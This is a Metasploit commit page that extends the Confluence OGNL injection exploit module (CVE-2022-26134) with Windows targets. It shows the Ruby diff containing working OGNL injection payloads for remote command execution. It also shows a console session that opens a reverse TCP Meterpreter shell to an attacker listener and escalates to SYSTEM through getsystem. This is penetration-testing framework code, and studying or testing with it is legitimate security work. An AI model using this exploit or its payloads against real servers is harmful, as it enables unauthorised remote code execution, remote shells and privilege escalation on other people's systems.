Skip to content

Commit c782004

Browse files
committed
Land #16680, Add a Windows target for Confluence
Merge branch 'land-16680' into upstream-master
2 parents 96fc98e + a96bc36 commit c782004

File tree

2 files changed

+111
-30
lines changed

2 files changed

+111
-30
lines changed

documentation/modules/exploit/multi/http/atlassian_confluence_namespace_ognl_injection.md

Lines changed: 37 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -87,4 +87,41 @@ Meterpreter : python/linux
8787
meterpreter >
8888
```
8989

90+
### Confluence 7.17.2 on Windows Server 2019
91+
92+
```
93+
msf6 > use exploit/multi/http/atlassian_confluence_namespace_ognl_injection
94+
[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp
95+
msf6 exploit(multi/http/atlassian_confluence_namespace_ognl_injection) > set RHOSTS 192.168.159.10
96+
RHOSTS => 192.168.159.10
97+
msf6 exploit(multi/http/atlassian_confluence_namespace_ognl_injection) > set TARGET Windows\ Command
98+
TARGET => Windows Command
99+
msf6 exploit(multi/http/atlassian_confluence_namespace_ognl_injection) > set PAYLOAD cmd/windows/powershell/x64/meterpreter/reverse_tcp
100+
PAYLOAD => cmd/windows/powershell/x64/meterpreter/reverse_tcp
101+
msf6 exploit(multi/http/atlassian_confluence_namespace_ognl_injection) > set LHOST 192.168.159.128
102+
LHOST => 192.168.159.128
103+
msf6 exploit(multi/http/atlassian_confluence_namespace_ognl_injection) > exploit
104+
105+
[*] Started reverse TCP handler on 192.168.159.128:4444
106+
[*] Running automatic check ("set AutoCheck false" to disable)
107+
[+] The target is vulnerable. Successfully tested OGNL injection.
108+
[*] Executing cmd/windows/powershell/x64/meterpreter/reverse_tcp (Windows Command)
109+
[*] Sending stage (200774 bytes) to 192.168.159.10
110+
[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.10:49943) at 2022-06-15 17:22:07 -0400
111+
112+
meterpreter > sysinfo
113+
Computer : WIN-3MSP8K2LCGC
114+
OS : Windows 2016+ (10.0 Build 17763).
115+
Architecture : x64
116+
System Language : en_US
117+
Domain : MSFLAB
118+
Logged On Users : 9
119+
Meterpreter : x64/windows
120+
meterpreter > getuid
121+
Server username: NT AUTHORITY\NETWORK SERVICE
122+
meterpreter > getsystem
123+
...got system via technique 4 (Named Pipe Impersonation (RPCSS variant)).
124+
meterpreter >
125+
```
126+
90127
[1]: https://jira.atlassian.com/browse/CONFSERVER-79000?src=confmacro

modules/exploits/multi/http/atlassian_confluence_namespace_ognl_injection.rb

Lines changed: 74 additions & 30 deletions
Original file line numberDiff line numberDiff line change
@@ -27,15 +27,15 @@ def initialize(info = {})
2727
'Spencer McIntyre'
2828
],
2929
'References' => [
30-
['CVE', '2021-26084'],
30+
['CVE', '2022-26134'],
3131
['URL', 'https://jira.atlassian.com/browse/CONFSERVER-79000?src=confmacro'],
3232
['URL', 'https://gist.githubusercontent.com/bturner-r7/1d0b62fac85235b94f1c95cc4c03fcf3/raw/478e53b6f68b5150eefd53e0956f23d53618d250/confluence-exploit.py'],
3333
['URL', 'https://github.com/jbaines-r7/through_the_wire'],
3434
['URL', 'https://attackerkb.com/topics/BH1D56ZEhs/cve-2022-26134/rapid7-analysis']
3535
],
3636
'DisclosureDate' => '2022-06-02',
3737
'License' => MSF_LICENSE,
38-
'Platform' => ['unix', 'linux'],
38+
'Platform' => ['unix', 'linux', 'win'],
3939
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
4040
'Privileged' => false,
4141
'Targets' => [
@@ -54,6 +54,22 @@ def initialize(info = {})
5454
'Arch' => [ARCH_X86, ARCH_X64],
5555
'Type' => :dropper
5656
}
57+
],
58+
[
59+
'Windows Command',
60+
{
61+
'Platform' => 'win',
62+
'Arch' => ARCH_CMD,
63+
'Type' => :cmd
64+
}
65+
],
66+
[
67+
'Windows Dropper',
68+
{
69+
'Platform' => 'win',
70+
'Arch' => [ARCH_X86, ARCH_X64],
71+
'Type' => :dropper
72+
}
5773
]
5874
],
5975
'DefaultTarget' => 0,
@@ -74,22 +90,45 @@ def initialize(info = {})
7490
end
7591

7692
def check
77-
version = get_confluence_version
78-
return CheckCode::Unknown unless version
93+
confluence_version = get_confluence_version
94+
return CheckCode::Unknown unless confluence_version
7995

80-
vprint_status("Detected Confluence version: #{version}")
81-
header = "X-#{Rex::Text.rand_text_alphanumeric(10..15)}"
82-
res = inject_ognl('', header: header) # empty command works for testing, the header will be set
83-
84-
return CheckCode::Unknown unless res
96+
vprint_status("Detected Confluence version: #{confluence_version}")
8597

86-
unless res && res.headers.include?(header)
98+
confluence_platform = get_confluence_platform
99+
unless confluence_platform
87100
return CheckCode::Safe('Failed to test OGNL injection.')
88101
end
89102

103+
vprint_status("Detected target platform: #{confluence_platform}")
90104
CheckCode::Vulnerable('Successfully tested OGNL injection.')
91105
end
92106

107+
def get_confluence_platform
108+
# this method gets the platform by exploiting CVE-2022-26134
109+
return @confluence_platform if @confluence_platform
110+
111+
header = "X-#{Rex::Text.rand_text_alphanumeric(10..15)}"
112+
ognl = <<~OGNL.gsub(/^\s+/, '').tr("\n", '')
113+
${
114+
Class.forName("com.opensymphony.webwork.ServletActionContext")
115+
.getMethod("getResponse",null)
116+
.invoke(null,null)
117+
.setHeader(
118+
"#{header}",
119+
Class.forName("javax.script.ScriptEngineManager")
120+
.newInstance()
121+
.getEngineByName("js")
122+
.eval("java.lang.System.getProperty('os.name')")
123+
)
124+
}
125+
OGNL
126+
res = inject_ognl(ognl)
127+
return nil unless res
128+
129+
res.headers[header]
130+
end
131+
93132
def get_confluence_version
94133
return @confluence_version if @confluence_version
95134

@@ -107,6 +146,15 @@ def get_confluence_version
107146
end
108147

109148
def exploit
149+
confluence_platform = get_confluence_platform
150+
unless confluence_platform
151+
fail_with(Failure::NotVulnerable, 'The target is not vulnerable.')
152+
end
153+
154+
unless confluence_platform.downcase.start_with?('win') == (target['Platform'] == 'win')
155+
fail_with(Failure::NoTarget, "The target platform '#{confluence_platform}' is incompatible with '#{target.name}'")
156+
end
157+
110158
print_status("Executing #{payload_instance.refname} (#{target.name})")
111159

112160
case target['Type']
@@ -119,26 +167,7 @@ def exploit
119167

120168
def execute_command(cmd, _opts = {})
121169
header = "X-#{Rex::Text.rand_text_alphanumeric(10..15)}"
122-
res = inject_ognl(cmd, header: header)
123-
124-
unless res && res.headers.include?(header)
125-
fail_with(Failure::PayloadFailed, "Failed to execute command: #{cmd}")
126-
end
127-
128-
vprint_good("Successfully executed command: #{cmd}")
129-
res.headers[header]
130-
end
131-
132-
def inject_ognl(cmd, header:)
133-
send_request_cgi(
134-
'method' => 'POST',
135-
'uri' => normalize_uri(target_uri.path, Rex::Text.uri_encode(ognl_payload(cmd, header: header)), 'dashboard.action'),
136-
'headers' => { header => cmd }
137-
)
138-
end
139-
140-
def ognl_payload(_cmd, header:)
141-
<<~OGNL.gsub(/^\s+/, '').tr("\n", '')
170+
ognl = <<~OGNL.gsub(/^\s+/, '').tr("\n", '')
142171
${
143172
Class.forName("com.opensymphony.webwork.ServletActionContext")
144173
.getMethod("getResponse",null)
@@ -154,5 +183,20 @@ def ognl_payload(_cmd, header:)
154183
)
155184
}
156185
OGNL
186+
res = inject_ognl(ognl, 'headers' => { header => cmd })
187+
188+
unless res && res.headers.include?(header)
189+
fail_with(Failure::PayloadFailed, "Failed to execute command: #{cmd}")
190+
end
191+
192+
vprint_good("Successfully executed command: #{cmd}")
193+
res.headers[header]
194+
end
195+
196+
def inject_ognl(ognl, opts = {})
197+
send_request_cgi({
198+
'method' => 'POST',
199+
'uri' => normalize_uri(target_uri.path, Rex::Text.uri_encode(ognl), 'dashboard.action')
200+
}.merge(opts))
157201
end
158202
end

0 commit comments

Comments
 (0)